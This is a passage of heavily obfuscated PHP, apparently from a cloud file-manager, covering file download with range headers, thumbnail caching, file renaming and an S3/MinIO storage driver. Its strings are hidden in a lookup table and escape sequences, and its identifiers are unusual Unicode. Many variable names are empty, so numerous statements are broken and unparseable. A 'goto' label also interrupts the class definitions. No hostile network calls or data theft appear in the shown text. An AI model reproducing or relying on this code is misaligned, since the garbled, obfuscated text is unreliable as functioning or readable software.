$this->getType() == $ʏʴ[106]; $ĵ = $GLOBALS[$ʏʴ[6]][$ʏʴ[89]][$ʏʴ[107]][$ʏʴ[108]]; $ӻ = (double) $GLOBALS[$ʏʴ[6]][$ʏʴ[89]][$ʏʴ[107]][$ʏʴ[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ہ = $this->infoFull($脢); $߱ = $ہ[$ʏʴ[76]]; $ÊϘ = gmdate($ʏʴ[110], $ہ[$ʏʴ[85]]); $ۿ = $ ? $ : $this->iconvApp($ہ[$ʏʴ[32]]); $ʢ = 0; $㱙 = $߱ - 1; $ = $this->ext($ۿ); if (in_array($, array($ʏʴ[111], $ʏʴ[112], $ʏʴ[113], $ʏʴ[114]))) { $ = $ʏʴ[115]; } if (in_array($, array($ʏʴ[116]))) { $ = $ʏʴ[117]; } if (!$҇֝) { $҇֝ = md5($ÊϘ . $this->hashSimple($脢)); } $҇֝ = $ʏʴ[118] . $҇֝ . $ʏʴ[118]; $ = get_file_mime($); $ = !0; $ = isset($_GET[$ʏʴ[119]]) ? !1 : !0; if ($ === !1 && !mime_support($)) { $ = $ʏʴ[120]; } header($ʏʴ[121]); header($ʏʴ[122] . $); $ڡ = rawurlencode($ۿ); $ڡ = $ʏʴ[118] . $ڡ . $ʏʴ[123] . $ڡ; if ($) { header($ʏʴ[124]); header($ʏʴ[125] . $ڡ); } else { if ($) { header($ʏʴ[126] . $ڡ); } } header($ʏʴ[127] . gmdate($ʏʴ[110], time() + 3600 * 24 * 30) . $ʏʴ[128]); header($ʏʴ[129]); header($ʏʴ[130]); header($ʏʴ[131]); if (isset($_SERVER[$ʏʴ[132]]) && strtotime($_SERVER[$ʏʴ[132]]) == $ہ[$ʏʴ[85]]) { header($ʏʴ[133], !0, 304); die; } if (isset($_SERVER[$ʏʴ[134]]) && $_SERVER[$ʏʴ[134]] == $҇֝) { header($ʏʴ[135] . $҇֝, !0, 304); die; } header($ʏʴ[135] . $҇֝); header($ʏʴ[136] . $ÊϘ . $ʏʴ[128]); header($ʏʴ[137] . $ۿ); header($ʏʴ[138]); header($ʏʴ[139] . $߱); header($ʏʴ[140]); if (!$ && $ == $ʏʴ[141]) { if ($߱ > 1024 * 1024 * 5) { die; } $ = $this->getContent($脢); $ = Html::clearSVG($); header($ʏʴ[142] . strlen($)); echo $; die; } $ܽ⤺ = strtolower($_SERVER[$ʏʴ[143]]); if ($ظ && $ܽ⤺ && $ĵ) { if (strstr($ܽ⤺, $ʏʴ[144])) { header($ʏʴ[145] . $脢); } else { if (strstr($ܽ⤺, $ʏʴ[146])) { header($ʏʴ[147] . $脢); } else { if (strstr($ܽ⤺, $ʏʴ[148])) { header($ʏʴ[149] . $脢); } } } if ($ӻ) { header($ʏʴ[150] . $ӻ); } return; } if (isset($_SERVER[$ʏʴ[151]])) { if (preg_match($ʏʴ[152], $_SERVER[$ʏʴ[151]], $ڀ)) { $ʢ = intval($ڀ[1]); $ʢ = $ʢ <= 0 ? 0 : ($ʢ >= $㱙 ? $㱙 : $ʢ); if (!empty($ڀ[2])) { $ = intval($ڀ[2]); $㱙 = $ < $ʢ ? $ʢ : ($ >= $㱙 ? $㱙 : $); } } header($ʏʴ[153]); header("\x43\157\156\164\x65\x6e\164\55\122\141\156\x67\145\x3a\x20\x62\x79\x74\x65\163\40{$ʢ}\55{$㱙}\x2f" . $߱); } else { header($ʏʴ[154]); } header($ʏʴ[155]); $Ԭ = !0; if ($_SERVER[$ʏʴ[156]] == $ʏʴ[157] && $߱ > 1204 * 1024 * 1024 * 2) { $Ԭ = !1; } if ($Ԭ) { header($ʏʴ[158] . ($㱙 - $ʢ + 1)); } if ($_SERVER[$ʏʴ[159]] == $ʏʴ[160]) { return; } $ = 1024 * 100; $դ = 0; if ($ӻ) { $դ = intval(1000 * 1000 * ($ / $ӻ)); } while ($ʢ <= $㱙) { $ͷ = timeFloat(); check_abort(); $ = $㱙 - $ʢ + 1; if ($ <= $) { $ = $; } echo $this->fileSubstr($脢, $ʢ, $); $ʢ += $; if ($ == $) { $ʢ = $㱙 + 1; } if ($դ) { $մ = intval(1000 * 1000 * (timeFloat() - $ͷ)); $ی = $դ - $մ; if ($ی > 5) { usleep($ی); } } } } public function fileOutServer($, $֔߉ = false, $ = false, $ְ = '') { $this->fileOut($, $֔߉, $, $ְ); } public function fileOutLink($) { header($_SERVER[ö][161] . $); die; } public function cacheMethod($, $ܗ, $ = null) { $Ϥ =& $_SERVER[ö]; static $Ү = array(); $ = $ܗ ? ltrim($this->getPathOuter($ܗ), $Ϥ[8]) : $Ϥ[12]; $䚰 = $Ϥ[162] . $ . $Ϥ[163] . rtrim($, $Ϥ[8]); if (is_null($)) { $Ү = array(); return; } if (is_null($ܗ)) { foreach ($Ү as $䚰 => $߶) { if (!strstr($䚰, $Ϥ[162] . $ . $Ϥ[164])) { continue; } unset($Ү[$䚰]); } return; } if (!is_null($)) { $Ү[$䚰] = $; return; } $ = isset($Ү[$䚰]) ? $Ү[$䚰] : null; if (!is_null($)) { return $; } $ = $this->{$}($ܗ); $Ү[$䚰] = $; return $; } public function cacheMethodInfoSet($, $, $ = false) { $磾 =& $_SERVER[ö]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($磾[165], $, $); $this->cacheMethod($磾[166], $, $ ? !1 : !0); if (is_array($)) { $this->cacheMethod($磾[167], $, $); } } public function fileOutImage($܌Ж, $ţ띚 = 250) { $ۑ =& $_SERVER[ö]; set_timeout(); if (substr($܌Ж, 0, 4) == $ۑ[148]) { $this->fileOutLink($܌Ж); } $ = $this->info($܌Ж); $㖶 = $[$ۑ[32]]; $ע = !1; if (isset($GLOBALS[$ۑ[168]]) && $GLOBALS[$ۑ[168]][$ۑ[84]] == $[$ۑ[84]]) { $ŏ = $GLOBALS[$ۑ[168]][$ۑ[169]]; if (!$[$ۑ[170]]) { $[$ۑ[170]] = $GLOBALS[$ۑ[168]]; } if (isset($ŏ[$ۑ[171]])) { if ($ŏ[$ۑ[171]] <= $ţ띚 && $ŏ[$ۑ[172]] <= $ţ띚) { $ע = !0; } } $㖶 = $[$ۑ[170]][$ۑ[32]]; } if ($[$ۑ[76]] <= 1024 * 50 || $ע || !function_exists($ۑ[173]) || $[$ۑ[174]] == $ۑ[175]) { return $this->fileOut($܌Ж, !1, $㖶); } if (isset($[$ۑ[170]][$ۑ[176]])) { $ = $[$ۑ[170]][$ۑ[176]]; } else { if (isset($[$ۑ[170]][$ۑ[177]])) { $ = $[$ۑ[170]][$ۑ[177]]; } } if (!$) { $ = md5("{$[$ۑ[32]]}\137{$[$ۑ[84]]}\137{$[$ۑ[76]]}\137{$ţ띚}"); } $㭿 = "{$}\137{$ţ띚}\x2e\x70\x6e\x67"; if (!($𫱗 = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $ۑ[178]))) { $ʫ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $ۑ[179]); } else { $ʫ = KodIO::make($𫱗); } if ($𫱗 = IO::fileNameExist($ʫ, $㭿)) { $ = KodIO::make($𫱗); return IO::fileOut($, !1, $㖶); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ = DATA_THUMB . $㭿; del_file($); if (!@file_exists($)) { $ޅ = TEMP_FILES; if (!is_dir($ޅ)) { mk_dir($ޅ); } $ߦ = $ޅ . $ . $ۑ[10] . $[$ۑ[174]]; if (!@file_exists($ߦ)) { $ߦ = $this->download($܌Ж, $ߦ); } ImageThumb::createThumb($ߦ, $, $ţ띚, $ţ띚 * 10); } if (!file_exists($) || filesize($) < 100) { return @file_exists($ߦ) ? IO::fileOut($ߦ) : $this->fileOut($܌Ж); } if (!($ɿˑ = IO::move($, $ʫ))) { return IO::fileOut($); } del_file($); IO::fileOut($ɿˑ); } public function fileOutImageServer($Ӗ, $ = 250) { $this->fileOutImage($Ӗ, $); } public function fileNameAuto($ێ, $, $ž = REPEAT_RENAME, $ң٣ = false) { $ =& $_SERVER[ö]; $嚂 = $ێ === $[12] ? $ : rtrim($ێ, $[8]) . $[8] . $; if ($ž == REPEAT_REPLACE || !$this->exist($嚂) || $ң٣ && $ž != REPEAT_RENAME_FOLDER) { return $; } if ($ž == REPEAT_SKIP) { return !1; } $Ԛ = $[10] . get_path_ext($); $Ԛ = $Ԛ == $[10] || $ң٣ ? $[12] : $Ԛ; $ś = 1; $ҟ = substr($, 0, strlen($) - strlen($Ԛ)); $غ = $ҟ . "\x28{$ś}\x29{$Ԛ}"; while ($this->exist(rtrim($ێ, $[8]) . $[8] . $غ)) { $غ = $ҟ . "\x28{$ś}\x29{$Ԛ}"; $ś++; } return $غ; } private function fileNameAutoList($Ӈ, $, $Ѕ = false) { $ =& $_SERVER[ö]; $Ժ = $this->listPath($Ӈ, !0); $Ժ = array_merge($Ժ[$[82]], $Ժ[$[83]]); $ʀ = array_to_keyvalue($Ժ, $[12], $[32]); $׆ = $[10] . get_path_ext($); $׆ = $׆ == $[10] || $Ѕ ? $[12] : $׆; $ = substr($, 0, strlen($) - strlen($׆)); $ǥε = $ . "\x28\x30\x29{$׆}"; for ($ = 1; $ <= count($ʀ) + 1; $++) { $ǥε = $ . "\x28{$}\x29{$׆}"; if (!in_array_not_case($ǥε, $ʀ)) { return $ǥε; } } return $ǥε; } public function listAllFiles($݇, $, $ə = array()) { $ =& $_SERVER[ö]; if (empty($)) { return array(); } $߲ = array(); $݇ = trim($݇, $[8]); foreach ($ as $) { $܍ = ltrim(substr(trim($, $[8]), strlen($݇)), $[8]); $߲ = array_merge($߲, $this->slicePath($܍)); } $ܟ = array(); foreach (array_unique($߲) as $) { $˃ = array($[84] => $this->getPathOuter($[8] . $݇ . $[8] . $), $[75] => 1, $[76] => 0); if (substr($, -1) != $[8]) { $˃[$[75]] = 0; $ = $this->getPath($݇ . $[8] . $); $˃[$[76]] = isset($ə[$]) ? $ə[$] : $this->size($); } $ܟ[] = $˃; } return $ܟ; } public function slicePath($) { $ܡ =& $_SERVER[ö]; $Ϊ = explode($ܡ[8], trim($, $ܡ[8])); $ = 0; do { ++$; $ق[] = implode($ܡ[8], array_slice($Ϊ, 0, $)) . $ܡ[8]; } while ($ < count($Ϊ)); $ق[count($Ϊ) - 1] = $; return $ق; } public function getHost() { $֕ =& $_SERVER[ö]; $ = parse_url(trim($this->domain, $֕[8])); $́ = isset($[$֕[180]]) ? $[$֕[180]] : http_type(); $ţ = isset($[$֕[181]]) ? $[$֕[181]] : $[$֕[84]]; if (isset($[$֕[182]])) { $ţ .= $֕[4] . $[$֕[182]]; } return $́ . $֕[183] . $ţ; } public function pathEncode($ڱ) { $̋ =& $_SERVER[ö]; return str_replace($̋[184], $̋[8], rawurlencode($ڱ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\64"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public function __construct($ݙ) { set_timeout(); require_once SDK_DIR . $_SERVER[ö][185]; parent::__construct(); $this->_init($ݙ); } public function _init($ق) { foreach ($ق as $쐵 => $) { if (isset($this->{$쐵})) { $this->{$쐵} = $; } } $this->endpoint = $ق[$_SERVER[ö][186]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\x76\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ =& $_SERVER[ö]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[187]] != $[188] || $[$[189]] != $[188]) { return !1; } $ = array_map($[190], $[$[191]]); if (!is_array($)) { $ = array(); } $ = array($[192], $[193], $[194], $[195], $[196]); $ = array_diff($, $); return empty($); } public function mkfile($贺, $ = '', $ = REPEAT_RENAME) { $ӕ = $this->setContent($贺, $); if ($ӕ !== !1) { return $this->getPathOuter($贺); } return !1; } public function mkdir($̘, $ = REPEAT_SKIP) { $ =& $_SERVER[ö]; if (empty($̘) && $̘ !== $[197]) { return !1; } if ($ && $this->_isFolder($̘)) { return $this->getPathOuter($̘); } $ = $this->setContent($̘, $[12], !0); if ($ !== !1) { return $this->getPathOuter($̘); } return !1; } public function copyFile($, $, $ވ = array()) { $ =& $_SERVER[ö]; $͘ѣ = $this->objectMeta($); if (!$͘ѣ) { return !1; } if ($͘ѣ[$[76]] <= 1024 * 1024 * 200) { $ݟ = $this->client->copyObject($this->bucket, $, $this->bucket, $, $[198], $ވ); } else { $ݟ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $, $ވ); } $ݟ = $ݟ ? $this->getPathOuter($) : !1; return $ݟ; } public function moveFile($ŒՔ, $٢) { if ($this->copyFile($ŒՔ, $٢)) { $this->delFile($ŒՔ); return $this->getPathOuter($٢); } return !1; } public function delFile($߇̃) { return $this->client->deleteObject($this->bucket, $߇̃); } public function delFolder($ʹ) { $ =& $_SERVER[ö]; if (!$this->exist($ʹ)) { return !0; } $this->listItemCache = !1; $ꥬ = $this->fileList($ʹ); $this->listItemCache = !0; $ = trim($ʹ, $[8]) . $[8]; if (!empty($ʹ) && $ʹ !== $[197] && !in_array($, $ꥬ[$[82]])) { $ꥬ[$[82]][] = $; } $ = $this->delByBatch($ꥬ[$[83]]); if (!$) { return !1; } $ = $this->delByBatch($ꥬ[$[82]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $۽خ) { $ر = $this->client->deleteObjects($this->bucket, $۽خ); if (!$ر) { return !1; } } return !0; } public function rename($ӬϷ, $̈́) { return $this->renameObject($ӬϷ, $̈́); } public function listPath($ֆĞ, $⯿ = false) { $ӓ =& $_SERVER[ö]; $ꥌ = $this->fileList($ֆĞ, $ӓ[8], !0); foreach ($ꥌ[$ӓ[82]] as $ґ => $Ɛ) { $ꥌ[$ӓ[82]][$ґ] = $this->folderInfo($Ɛ, $⯿, $Ɛ); } foreach ($ꥌ[$ӓ[83]] as $ґ => $Ɛ) { $ꥌ[$ӓ[83]][$ґ] = $this->fileInfo($Ɛ[$ӓ[32]], $⯿, $Ɛ); } return $ꥌ; } protected function infoChildren($, &$妜) { $ =& $_SERVER[ö]; $͉ = $this->fileList($, $[12], !0); $妜[$[78]] += count($͉[$[82]]); $妜[$[77]] += count($͉[$[83]]); foreach ($͉[$[83]] as $ŋ) { if (!$ŋ || !$ŋ[$[76]]) { continue; } $妜[$[76]] += $ŋ[$[76]]; } } private function fileInfo($, $ = false, $ה = array()) { $Ɓô =& $_SERVER[ö]; $ = array($Ɓô[32] => $this->pathThis($), $Ɓô[84] => $this->getPathOuter($), $Ɓô[33] => $Ɓô[199], $Ɓô[174] => $this->ext($), $Ɓô[76] => isset($ה[$Ɓô[76]]) ? $ה[$Ɓô[76]] : 0); if ($) { return $; } $[$Ɓô[200]] = $[$Ɓô[85]] = 0; $[$Ɓô[201]] = $[$Ɓô[202]] = !0; if (empty($ה)) { $ה = $this->objectMeta($); if (!$ה) { return $; } } if (isset($ה[$Ɓô[203]])) { $[$Ɓô[85]] = $ה[$Ɓô[203]]; } if (isset($ה[$Ɓô[76]])) { $[$Ɓô[76]] = $ה[$Ɓô[76]]; } return $; } private function folderInfo($, $ = false, $Դ = array()) { $Ȇ =& $_SERVER[ö]; $Ҍ = array($Ȇ[32] => $this->pathThis($), $Ȇ[84] => $this->getPathOuter($Ȇ[8] . $), $Ȇ[33] => $Ȇ[75]); if ($) { return $Ҍ; } $Ҍ[$Ȇ[200]] = $Ҍ[$Ȇ[85]] = 0; $Ҍ[$Ȇ[201]] = $Ҍ[$Ȇ[202]] = !0; if ($ == $Ȇ[12]) { return $Ҍ; } if (empty($Դ)) { $Դ = $this->objectMeta(trim($, $Ȇ[8]) . $Ȇ[8]); } if (isset($Դ[$Ȇ[203]])) { $Ҍ[$Ȇ[200]] = $Դ[$Ȇ[203]]; } return $Ҍ; } private function fileList($ӎ, $㷛 = '', $ = 0) { $ο =& $_SERVER[ö]; $僒 = rtrim($ӎ, $ο[8]) . $ο[8]; $ = $this->listObjs($僒, null, null, $㷛); if (!$) { return array($ο[82] => array(), $ο[83] => array()); } $سՒ = $Œ = array(); foreach ($[$ο[204]] as $֘) { $ = $֘[$ο[32]]; if ($ == $僒) { continue; } $ɇ = isset($֘[$ο[76]]) ? $֘[$ο[76]] : 0; $䰤 = $ɇ == 0 && substr($, strlen($) - 1, 1) == $ο[8] ? !0 : !1; $this->cacheMethodInfoSet($, $䰤, $֘); if ($䰤) { $سՒ[] = $; continue; } $Œ[] = $ ? $֘ : $; } foreach ($[$ο[205]] as $֘) { $سՒ[] = $֘[$ο[32]]; $this->cacheMethodInfoSet($֘[$ο[32]], !0); } $this->cacheMethodInfoSet($ӎ, !0); return array($ο[82] => $سՒ, $ο[83] => $Œ); } private function listObjs($Ȇ, $́ = null, $ = null, $ = null) { $褊ڤ =& $_SERVER[ö]; $Ȇ = trim($Ȇ, $褊ڤ[8]); $ = empty($Ȇ) && $Ȇ !== $褊ڤ[197] ? $褊ڤ[12] : $Ȇ . $褊ڤ[8]; return $this->client->getBucket($this->bucket, $, $́, $, $, !0); } public function has($, $ = false, $д = true) { $ޕ =& $_SERVER[ö]; $ = trim($, $ޕ[8]); $ = empty($) && $ !== $ޕ[197] ? $ޕ[12] : $ . $ޕ[8]; $رɉ = null; $Δ = 500; $ = $ޕ[8]; $ʫ = $ȟ = array(); while (!0) { $Ɵ = $this->listObjs($, $رɉ, $Δ, $); if (!$Ɵ) { break; } $رɉ = $Ɵ[$ޕ[206]]; $ = $Ɵ[$ޕ[204]]; $Ŗ = $Ɵ[$ޕ[205]]; if (empty($) && empty($Ŗ)) { break; } if (count($) == 1 && $[0][$ޕ[32]] == $) { break; } if ($) { if (count($)) { $ = array_column($, $ޕ[32]); $ʫ = array_merge($ʫ, $); } if (count($Ŗ)) { $Ŗ = array_column($Ŗ, $ޕ[32]); $ȟ = array_merge($ȟ, $Ŗ); } if ($رɉ === null) { break; } continue; } if ($д) { if (!empty($)) { if (count($) > 1 || isset($[0][$ޕ[32]]) && $[0][$ޕ[32]] != $) { return !0; } } } else { if (!empty($Ŗ)) { return !0; } } if ($رɉ === null) { break; } } if ($) { $ʫ = array_diff($ʫ, array($)); $ʫ = count(array_unique($ʫ)); $ȟ = count(array_unique($ȟ)); return array($ޕ[207] => $ʫ, $ޕ[208] => $ȟ); } return !1; } public function listAll($ې) { $ =& $_SERVER[ö]; $Ψ = $this->fileList($ې, $[12], !0); $ = array(); foreach ($Ψ[$[83]] as $Ǐ) { $[$Ǐ[$[32]]] = $Ǐ[$[76]]; } foreach ($Ψ[$[82]] as $Ǐ) { if (is_string($Ǐ)) { $[$Ǐ] = 0; } } return $this->listAllFiles($ې, array_keys($), $); } public function canRead($) { $ț =& $_SERVER[ö]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($ț[209], $ț[210], $ț[211])) ? !0 : !1; } public function canWrite($צ) { $ұ =& $_SERVER[ö]; $ݥ = $this->client->getAccessControlPolicy($this->bucket, $צ); if (!$ݥ) { return !1; } return in_array($ݥ, array($ұ[209], $ұ[210])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($ҹŗ, $ʙ = '', $Ǟ = false) { $˿ =& $_SERVER[ö]; $ҹŗ = $Ǟ ? trim($ҹŗ, $˿[8]) . $˿[8] : $ҹŗ; $ل = get_file_mime(get_path_ext($ҹŗ)); $ծ = $this->client->putObject($ʙ, $this->bucket, $ҹŗ, $˿[198], array(), $ل); if (!$ծ) { return !1; } if ($Ǟ) { return !0; } $this->cacheMethod(null, null); $ծ = $this->copyFile($ҹŗ, $ҹŗ, array($˿[212] => $ծ[$˿[213]])); return $ծ ? !0 : !1; } public function fileSubstr($, $ŭԄ, $ˎ) { $ǘ = $ŭԄ + $ˎ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[ö][214] => "\x62\x79\164\x65\x73\75{$ŭԄ}\x2d{$ǘ}")); } public function upload($, $گ, $ = false, $ѦÜ = REPEAT_REPLACE) { $ǚ =& $_SERVER[ö]; $ = array($ǚ[212] => @md5_file($گ)); $ = array($ǚ[215] => get_file_mime(get_path_ext($))); if (IO::size($گ) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($گ, $this->bucket, $, $ǚ[198], $, $); return !empty($) ? $this->getPathOuter($) : !1; } $ = $this->client->multiUploadObject($گ, $this->bucket, trim($, $ǚ[8]), $, $); return $ ? $this->getPathOuter($) : !1; } public function download($陈, $Փ) { if (!@is_dir($this->pathFather($Փ)) && !IO::mkdir($this->pathFather($Փ))) { return !1; } $ = $this->client->getObject($this->bucket, $陈, array(), $Փ); return $ !== !1 ? $Փ : !1; } public function link($ՙ, $ = array()) { $ğ =& $_SERVER[ö]; if ($this->signVer == $ğ[216]) { return $this->client->getAuthenticatedURL($this->bucket, $ՙ, 3600 * 12, $); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($ՙ, $ğ[8]), 3600 * 12, $this->region, array(), !0, $); } public function fileOut($٣͒, $ՖΊ = false, $̬ = false, $̻ = '') { $܍ =& $_SERVER[ö]; if ($this->isFileOutServer()) { return $this->fileOutServer($٣͒, $ՖΊ, $̬, $̻); } if (!$̬) { $̬ = $this->pathThis($٣͒); } $Ь = get_file_mime(get_path_ext($̬)); if ($Ь == $܍[217]) { return parent::fileOut($٣͒, $ՖΊ, $̬, $̻); } $ = array($܍[218] => $Ь); if ($ՖΊ) { $[$܍[219]] = $܍[220] . rawurlencode($̬); } else { } $ = $this->link($٣͒, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $Ȇ = false, $Ŋ = '') { parent::fileOut($, $, $Ȇ, $Ŋ); } public function fileOutImageServer($, $ʄ = 250) { parent::fileOutImage($, $ʄ); } public function hashMd5($Вν, $ = '') { $Ղ =& $_SERVER[ö]; $䖽 = $this->objectMeta($Вν); if (!$䖽) { return !1; } $ = $ ? $ : _get($䖽, $Ղ[221]); $ = $ ? $ : _get($䖽, $Ղ[213], $Ղ[12]); return $; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[ö]; $ = $this->pathFather($); $Ŝٻ = $this->client->getHttpUploadPostParams($this->bucket, $, $[198], $); return array_merge((array) $Ŝٻ, array($[181] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $լ =& $_SERVER[ö]; $ = gmdate($լ[222]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { return !1; } return array($լ[223] => $, $լ[181] => $this->getHost() . $լ[8] . $this->pathEncode($), $լ[224] => $, $լ[94] => $); } public function multiUploadAuthData($, $ꇙ = array()) { $؋ =& $_SERVER[ö]; $ = isset($ꇙ[$؋[224]]) ? $ꇙ[$؋[224]] : gmdate($؋[222]); $Ϸ = isset($ꇙ[$؋[174]]) ? $ꇙ[$؋[174]] : $؋[12]; $ơ = $ꇙ[$؋[94]]; unset($ꇙ[$؋[94]]); if (isset($ꇙ[$؋[225]])) { $ꇙ[$؋[224]] = $; return $this->listUploadParts($ơ, $ꇙ); } $Ȣ = array($؋[226], $؋[12], $؋[120], $؋[12], "\170\55\x61\x6d\x7a\55\x64\141\x74\145\x3a{$}", $؋[8] . $this->bucket . $؋[8] . $this->pathEncode($ơ) . $Ϸ); if (strpos($Ϸ, $؋[227]) === 0) { $Ȣ[0] = $؋[228]; } if (isset($ꇙ[$؋[229]]) && $ꇙ[$؋[229]] == $؋[230]) { $Ȣ[0] = $؋[230]; } $֛ = implode($؋[231], $Ȣ); $ = base64_encode(hash_hmac($؋[232], $֛, $this->secret, !0)); $ = $؋[233] . $this->accessKey . $؋[4] . $; if (strpos($Ϸ, $؋[227]) === 0) { return array($؋[234] => $, $؋[224] => $); } return $; } public function listUploadParts($ƮҊ, $ֿ = array()) { $ި =& $_SERVER[ö]; $ፑ = str_replace($ި[235], $ި[12], $ֿ[$ި[174]]); $Ӱ = $this->client->listParts($this->bucket, $ƮҊ, $ፑ); if (!$Ӱ) { return !1; } unset($ֿ[$ި[225]], $ֿ[$ި[229]]); $ֿ[$ި[94]] = $ƮҊ; $Ə = $this->multiUploadAuthData($ƮҊ, $ֿ); if (empty($Ə)) { return !1; } return array($ި[234] => $Ə, $ި[224] => $ֿ[$ި[224]], $ި[236] => $Ӱ); } public function getHost() { return parent::getHost() . $_SERVER[ö][8] . $this->bucket; } public function size($輩) { $ϕ = $this->objectMeta($輩); return $ϕ ? $ϕ[$_SERVER[ö][76]] : 0; } public function info($ɏ) { if ($this->isFolder($ɏ)) { return $this->folderInfo($ɏ); } else { if ($this->isFile($ɏ)) { return $this->fileInfo($ɏ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ö][165], $); } protected function objectMeta($ˉ) { return $this->cacheMethod($_SERVER[ö][167], $ˉ); } protected function _objectMeta($֤ȑ) { $܋ =& $_SERVER[ö]; $֤ȑ = rtrim($֤ȑ, $܋[8]); try { $ = $this->client->getObjectInfo($this->bucket, $֤ȑ); if (!isset($[$܋[221]]) && isset($[$܋[237]])) { $[$܋[221]] = $[$܋[237]]; } } catch (Exception $ɍϠ) { $ = !1; } if (!$) { } return $; } protected function _isFolder($ܞ) { $̂ =& $_SERVER[ö]; $ܞ = rtrim($ܞ, $̂[8]); if ($ܞ == $̂[12] || $ܞ == $̂[8]) { return !0; } $휷 = $this->client->getBucket($this->bucket, $ܞ, null, 1); if (empty($휷[$̂[204]])) { return !1; } $ = $휷[$̂[204]][0][$̂[32]]; return stripos($, $ܞ . $̂[8]) === 0 ? !0 : !1; if (substr($, -1) == $̂[8]) { return !0; } if (get_path_this($) == get_path_this($ܞ)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ۨ) { parent::__construct($ۨ); $this->signatureVersion($_SERVER[ö][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto Fזӌ; C: class KodIO { const KOD_SOURCE = "\173\x73\157\x75\162\x63\145\175"; const KOD_USER_RECYCLE = "\x7b\x75\163\x65\162\x52\x65\x63\171\x63\154\145\x7d"; const KOD_USER_FAV = "\x7b\165\x73\145\x72\x46\x61\166\x7d"; const KOD_USER_FILE_TAG = "\x7b\165\x73\145\x72\x46\x69\154\x65\x54\141\147\x7d"; const KOD_USER_FILE_TYPE = "\x7b\x75\x73\145\162\106\x69\x6c\145\124\171\x70\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\173\x67\x72\x6f\x75\x70\122\x6f\157\164\123\x65\x6c\146\175"; const KOD_USER_SHARE = "\x7b\165\163\145\x72\x53\150\x61\162\145\x7d"; const KOD_USER_SHARE_LINK = "\x7b\x75\x73\x65\162\x53\x68\141\x72\x65\114\151\x6e\x6b\175"; const KOD_USER_SHARE_TO_ME = "\173\163\150\141\x72\145\x54\157\115\x65\x7d"; const KOD_SHARE_ITEM = "\173\x73\150\x61\162\x65\111\164\145\155\x7d"; const KOD_SHARE_LINK = "\x7b\163\x68\x61\x72\145\111\164\x65\155\114\x69\156\153\x7d"; const KOD_SEARCH = "\173\x73\x65\x61\x72\143\x68\175"; const KOD_BLOCK = "\x7b\142\154\157\143\x6b\175"; const KOD_IO = "\x7b\x69\x6f\x7d"; const KOD_USER_RECENT = "\173\x75\163\145\x72\122\145\156\143\x65\x6e\x74\x7d"; const KOD_USER_DRIVER = "\173\x64\x72\x69\166\x65\162\x7d"; public static function typeList() { $ڭ =& $_SERVER[ö]; return array($ڭ[1266] => self::KOD_SOURCE, $ڭ[1267] => self::KOD_USER_RECYCLE, $ڭ[1268] => self::KOD_USER_FAV, $ڭ[1269] => self::KOD_USER_FILE_TAG, $ڭ[1270] => self::KOD_USER_FILE_TYPE, $ڭ[1271] => self::KOD_GROUP_ROOT_SELF, $ڭ[1272] => self::KOD_USER_SHARE, $ڭ[1273] => self::KOD_USER_SHARE_LINK, $ڭ[1274] => self::KOD_USER_SHARE_TO_ME, $ڭ[1275] => self::KOD_SHARE_ITEM, $ڭ[1276] => self::KOD_SHARE_LINK, $ڭ[1277] => self::KOD_SEARCH, $ڭ[1278] => self::KOD_BLOCK, $ڭ[1279] => self::KOD_IO, $ڭ[1280] => self::KOD_USER_RECENT, $ڭ[1281] => self::KOD_USER_DRIVER); } public static function parse($П) { $Ζ =& $_SERVER[ö]; $П = self::clear($П); $ = array_values(self::typeList()); preg_match($Ζ[1282], $П, $); $͇ = array($Ζ[422] => !1, $Ζ[1283] => !1, $Ζ[419] => !1, $Ζ[84] => $П, $Ζ[1184] => !1, $Ζ[1183] => $Ζ[12]); if (is_array($) && count($) == 5) { $ޜ = $Ζ[1284] . $[2] . $Ζ[327]; if (in_array($ޜ, $)) { $͇[$Ζ[1184]] = $[1]; $͇[$Ζ[33]] = $ޜ; $͇[$Ζ[1285]] = substr($ޜ, 1, -1); $͇[$Ζ[399]] = $[3]; } $͇[$Ζ[1183]] = $[4]; } $ = array($Ζ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $͇[$Ζ[1248]] = in_array($͇[$Ζ[33]], $); return $͇; } public static function isTruePath($́) { $ =& $_SERVER[ö]; if (substr($́, 0, 1) != $[1284]) { return !0; } if (strpos($́, $[408]) === 0) { return !0; } if (strpos($́, $[1252]) === 0) { return !0; } if (strpos($́, $[1286]) === 0) { return !0; } if (strpos($́, 